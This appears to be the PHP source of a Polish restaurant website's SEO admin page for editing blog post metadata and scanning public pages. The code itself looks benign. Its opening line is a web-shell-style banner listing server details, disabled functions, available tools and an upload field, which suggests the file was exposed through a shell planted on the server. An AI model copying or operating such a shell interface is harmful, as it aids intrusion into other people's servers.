| Server IP : 188.114.96.3 / Your IP : 216.73.216.143 Web Server : Apache System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64 User : ( 3194769) PHP Version : 8.5.12 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /polana/admin/ |
Upload File : |
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/functions.php';
require_once dirname(__DIR__).'/includes/polana_v167_audit.php';
require_admin_role();
header('Cache-Control: private,no-store');header('X-Robots-Tag:noindex,nofollow');
$flash='';$error='';
if(($_SERVER['REQUEST_METHOD']??'')==='POST'){
verify_csrf();
try{
if(($_POST['action']??'')!=='save_post_seo')throw new RuntimeException('Nieznana operacja');
$id=filter_var($_POST['post_id']??null,FILTER_VALIDATE_INT,['options'=>['min_range'=>1]]);
if(!$id)throw new RuntimeException('Błędne ID artykułu.');
$title=trim((string)($_POST['seo_title']??''));$desc=trim((string)($_POST['seo_description']??''));
$len=static fn(string $v):int=>function_exists('mb_strlen')?mb_strlen($v,'UTF-8'):strlen($v);
if($len($title)>255||$len($desc)>320)throw new RuntimeException('Maksymalnie 255 znaków tytułu i 320 opisu.');
$q=db()->prepare('UPDATE blog_posts SET seo_title=?,seo_description=? WHERE id=?');
$q->execute([$title,$desc,(int)$id]);
if($q->rowCount()===0){$exists=db()->prepare('SELECT 1 FROM blog_posts WHERE id=?');$exists->execute([(int)$id]);if(!$exists->fetchColumn())throw new RuntimeException('Artykuł nie istnieje.');}
admin_log('polana_v167_blog_seo','Zmieniono metadane SEO artykułu #'.(int)$id);
flash('success','Zapisano tytuł i opis SEO artykułu #'.(int)$id);
redirect('/admin/polana-seo-centrum.php#post-'.(int)$id);
}catch(Throwable $e){$error=$e->getMessage();}
}
$report=p167_checklist();$counts=$report['counts'];$posts=p167_blog_issues(100);
render_admin_header('SEO i Google — Polana');
?>
<style>
.ps167{--main:#245740;--line:#dbe5da;max-width:1320px;margin:auto;padding:18px 18px 80px;color:#27362c}.ps167 *{box-sizing:border-box}
.ps167 h1{font-size:clamp(1.6rem,3vw,2.3rem);margin:3px 0}.ps167 .muted{color:#637667}.ps167 .grid{display:grid;grid-template-columns:repeat(3,minmax(0,1fr));gap:13px}.ps167 .panel{background:#fff;border:1px solid var(--line);border-radius:15px;padding:20px;margin:15px 0}.ps167 .panel h2{font-size:1.21rem;margin:0 0 12px}.ps167 .pill{display:inline-block;padding:5px 9px;border-radius:10px;background:#eaf2ea;margin:2px;color:var(--main)}.ps167 .button,.ps167 button{display:inline-block;border:0;border-radius:9px;background:var(--main);color:white;padding:10px 13px;text-decoration:none;font:inherit;font-weight:600;cursor:pointer}.ps167 .button.alt{background:#e7f0e7;color:var(--main)}.ps167 .actions{display:flex;flex-wrap:wrap;gap:9px;margin:14px 0}.ps167 .score{font-size:34px;font-weight:800}.ps167 .audit-list{display:grid;grid-template-columns:repeat(2,minmax(0,1fr));gap:10px}.ps167 .audit-row{border:1px solid var(--line);border-radius:11px;padding:12px}.ps167 .ok{color:#18743b}.ps167 .warn{color:#b45c2d}.ps167 label{display:block;font-weight:600;font-size:14px}.ps167 input[type=text],.ps167 textarea{display:block;width:100%;border:1px solid #a6b7ab;border-radius:9px;padding:11px;margin:5px 0 9px;font:inherit;font-size:15px}.ps167 textarea{min-height:75px;resize:vertical}.ps167 .post{border-top:1px solid var(--line);padding:16px 0;scroll-margin-top:15px}.ps167 .post-info{font-size:13px;color:#607164}.ps167 .post-form{display:grid;grid-template-columns:1fr 1fr auto;gap:10px;align-items:end}.ps167 .sitemap-stats{font-size:15px}.ps167 .check-table{overflow-x:auto}.ps167 table{width:100%;border-collapse:collapse}.ps167 td,.ps167 th{padding:10px;text-align:left;border-bottom:1px solid #e4ebe5}.ps167 .broken{background:#fff2ed;border-radius:9px;padding:12px}.ps167 .box-soft{background:#f2f7f1;border-radius:12px;padding:12px}.ps167 pre{white-space:pre-wrap;word-break:break-word;background:#f5f8f6;border-radius:11px;padding:15px;max-height:450px;overflow:auto}
@media(max-width:900px){.ps167 .grid{grid-template-columns:1fr 1fr}.ps167 .post-form{grid-template-columns:1fr 1fr}}@media(max-width:620px){.ps167{padding:10px}.ps167 .grid,.ps167 .audit-list,.ps167 .post-form{grid-template-columns:1fr}}
</style>
<div class="ps167">
<div class="actions"><a class="button alt" href="/admin/polana-zarzadzanie.php">← Centrum zarządzania</a><a class="button alt" href="/admin/polana-menu-centrum.php">Menu</a><a class="button alt" href="/admin/blog.php">Blog</a><a class="button alt" href="/admin/polana-v16-tlumaczenia.php">Tłumaczenia</a></div>
<h1>SEO i Google — centrum kontroli</h1>
<p class="muted">Podstawowe pomiary i edycja SEO wpisów w jednym miejscu. Nie pobieramy prywatnych statystyk Google bez autoryzacji.</p>
<?php if($error):?><div class="broken" role="alert"><?=p167_e($error)?></div><?php endif; ?>
<div class="grid">
<section class="panel"><b>Stan SEO strony*</b><div class="score"><?=p167_e($report['score']===null?'—':$report['score'].'/100')?></div><small>*6 prostych kontroli technicznych, nie ocena Google.</small></section>
<section class="panel"><b>Artykuły opublikowane</b><div class="score"><?=p167_e($counts['published']??'—')?></div><small>Zaplanowane: <?=p167_e($counts['scheduled']??'—')?></small></section>
<section class="panel"><b>Wpisy wymagające poprawy SEO</b><div class="score"><?=p167_e($counts['posts_missing_seo']??'—')?></div><small>Bez zdjęcia: <?=p167_e($counts['posts_missing_photo']??'—')?></small></section>
</div>
<section class="panel" id="audyt"><h2>SEO Health — co poprawić?</h2><div class="audit-list">
<?php foreach($report['checks'] as $c):?><div class="audit-row"><strong class="<?=$c['pass']?'ok':'warn'?>"><?=$c['pass']?'✓':'!'?> <?=p167_e($c['label'])?></strong><p class="muted" style="margin:4px 0 8px"><?=p167_e($c['detail'])?></p><a href="<?=p167_e($c['url'])?>">Otwórz ustawienia →</a></div><?php endforeach;?></div></section>
<section class="panel" id="mapa"><h2>Sitemap, robots i indeksacja</h2>
<p>Mapa dla Google: <code>https://mojapolanasmakow.pl/sitemap.xml</code>. Generator dynamiczny powinien zwracać XML, a nie stronę HTML.</p>
<div class="actions"><a class="button" href="/sitemap.xml" target="_blank" rel="noopener">Otwórz XML ↗</a><a class="button alt" href="/robots.txt" target="_blank" rel="noopener">Robots.txt ↗</a><a class="button alt" href="/admin/polana-v166-sitemap.php">Napraw mapę</a><a class="button alt" href="/admin/polana-v164-seo.php">Ustawienia sitemap i Google</a></div>
<p>Sprawdź, czy publiczna mapa nie zwraca zaślepki, szkiców lub języków bez akceptacji.</p>
</section>
<section class="panel" id="google"><h2>Google Search Console i narzędzia</h2>
<div class="actions"><a class="button" href="https://search.google.com/search-console" target="_blank" rel="noopener noreferrer">Search Console ↗</a><a class="button alt" href="https://pagespeed.web.dev/analysis?url=https%3A%2F%2Fmojapolanasmakow.pl%2F" target="_blank" rel="noopener noreferrer">PageSpeed mobilny ↗</a><a class="button alt" href="https://business.google.com/" target="_blank" rel="noopener noreferrer">Wizytówka i opinie ↗</a><a class="button alt" href="https://search.google.com/test/rich-results" target="_blank" rel="noopener noreferrer">Dane strukturalne ↗</a><a class="button alt" href="https://analytics.google.com/" target="_blank" rel="noopener noreferrer">Analytics ↗</a><a class="button alt" href="https://www.bing.com/webmasters/" target="_blank" rel="noopener noreferrer">Bing ↗</a></div>
<div class="box-soft"><b>Co przejąłem ze wzorca:</b> skróty Google/Bing, audyt, Local SEO, PageSpeed, kontrolę wpisów i metadanych. <b>Czego jeszcze nie ma:</b> podłączonego OAuth Search Console, rzeczywistych danych o kliknięciach i konwersjach ani aktywnego wysyłania IndexNow. To wymaga osobnych integracji.</div>
</section>
<section class="panel" id="testy"><h2>Skanowanie publicznych stron z przeglądarki</h2>
<p>Testuje HTML dostępny dla Google: tytuł, opis, canonical, robots, hreflang i JSON-LD. Bez dostępu do zewnętrznych kont.</p>
<div class="actions"><button type="button" id="ps167scan">Przeskanuj PL / EN / DE / ES</button></div><pre id="ps167scanResult" aria-live="polite">Kliknij, aby sprawdzić publiczne adresy.</pre>
</section>
<section class="panel" id="artykuly"><h2>Artykuły — tytuły i opisy SEO</h2>
<p>Edytuj metadane bez otwierania każdego artykułu. Zapis nie zmienia tekstu wpisu ani harmonogramu. Najpierw pokazujemy artykuły z brakującymi danymi.</p>
<div class="actions"><label for="ps167filter">Filtr artykułów</label><input type="text" id="ps167filter" placeholder="Szukaj po tytule, statusie" style="max-width:400px;flex:1"><label style="display:flex;align-items:center;gap:8px"><input type="checkbox" id="ps167only" checked> Tylko wymagające uwagi</label></div>
<?php if(!$posts):?><div class="box-soft">Brak artykułów lub nie udało się odczytać wpisów.</div><?php endif;?>
<?php foreach($posts as $p):$id=(int)$p['id'];$missing=(trim((string)($p['seo_title']??''))===''||trim((string)($p['seo_description']??''))==='');$hasPhoto=trim((string)($p['featured_image']??''))!=='';?>
<article class="post" id="post-<?=$id?>" data-post-item data-search="<?=p167_e((function_exists('mb_strtolower')?mb_strtolower((string)$p['title'].' '.(string)$p['status'],'UTF-8'):strtolower((string)$p['title'].' '.(string)$p['status'])))?>" data-needs="<?=$missing||!$hasPhoto?'1':'0'?>">
<strong><?=p167_e($p['title'])?></strong><div class="post-info">#<?=$id?> · <?=p167_e($p['status'])?> · <?=p167_e($p['slug'])?> · <?=$missing?'Brak meta SEO':'Meta SEO zapisane'?> · <?=$hasPhoto?'Zdjęcie OK':'Brak zdjęcia'?></div>
<form class="post-form" method="post">
<?=csrf_field()?><input type="hidden" name="action" value="save_post_seo"><input type="hidden" name="post_id" value="<?=$id?>">
<label>Tytuł SEO <input type="text" name="seo_title" maxlength="255" value="<?=p167_e($p['seo_title']??'')?>" placeholder="np. Dania z dyni na Kazimierzu | Moja Polana Smaków"></label>
<label>Opis SEO <textarea name="seo_description" maxlength="320" placeholder="Unikalny opis konkretnego artykułu."><?=p167_e($p['seo_description']??'')?></textarea></label>
<div><button type="submit">Zapisz SEO</button><p><a href="/admin/blog-edit.php?id=<?=$id?>">Edytuj cały wpis ↗</a></p></div>
</form>
</article>
<?php endforeach;?>
</section>
</div>
<script>
(()=>{
const filter=document.getElementById('ps167filter'),only=document.getElementById('ps167only');
function f(){const text=(filter.value||'').trim().toLocaleLowerCase('pl-PL');for(const p of document.querySelectorAll('[data-post-item]'))p.hidden=(!!text&&!p.dataset.search.includes(text))||(only.checked&&p.dataset.needs==='0');}
if(filter&&only){filter.addEventListener('input',f);only.addEventListener('change',f);f()}
const btn=document.getElementById('ps167scan'),out=document.getElementById('ps167scanResult');if(!btn||!out)return;
btn.addEventListener('click',async()=>{btn.disabled=true;out.textContent='Sprawdzam publiczny HTML…\n';const paths=['/','/en/','/de/','/es/','/menu-seo','/sitemap.xml','/robots.txt'];
for(const path of paths){try{const r=await fetch(path+'?seo_v167_check='+Date.now(),{cache:'no-store',credentials:'same-origin',redirect:'follow'});const ct=(r.headers.get('content-type')||'').toLowerCase();const body=await r.text();
if(path==='/sitemap.xml'||path==='/robots.txt'){out.textContent+=path+' → HTTP '+r.status+' ('+ct+') '+(path==='/sitemap.xml'&&body.includes('<urlset')?'XML urlset':'')+'\n';continue;}
const d=new DOMParser().parseFromString(body,'text/html');const title=d.querySelector('title')?.textContent?.trim()||'BRAK';const descr=d.querySelector('meta[name="description"]')?.getAttribute('content')||'BRAK';const canonical=d.querySelector('link[rel="canonical"]')?.getAttribute('href')||'BRAK';const robots=d.querySelector('meta[name="robots"]')?.getAttribute('content')||'BRAK';const languages=d.querySelectorAll('link[rel="alternate"][hreflang]').length;const schema=d.querySelectorAll('script[type="application/ld+json"]').length;
out.textContent+=path+' → HTTP '+r.status+' | tytuł: '+title.slice(0,90)+' | opis: '+descr.slice(0,90)+' | canonical: '+canonical+' | robots: '+robots+' | hreflang: '+languages+' | JSON-LD: '+schema+'\n';
}catch(e){out.textContent+=path+' → błąd '+String(e.message||e)+'\n'}}btn.disabled=false;});})();
</script>
<?php render_admin_footer(); ?>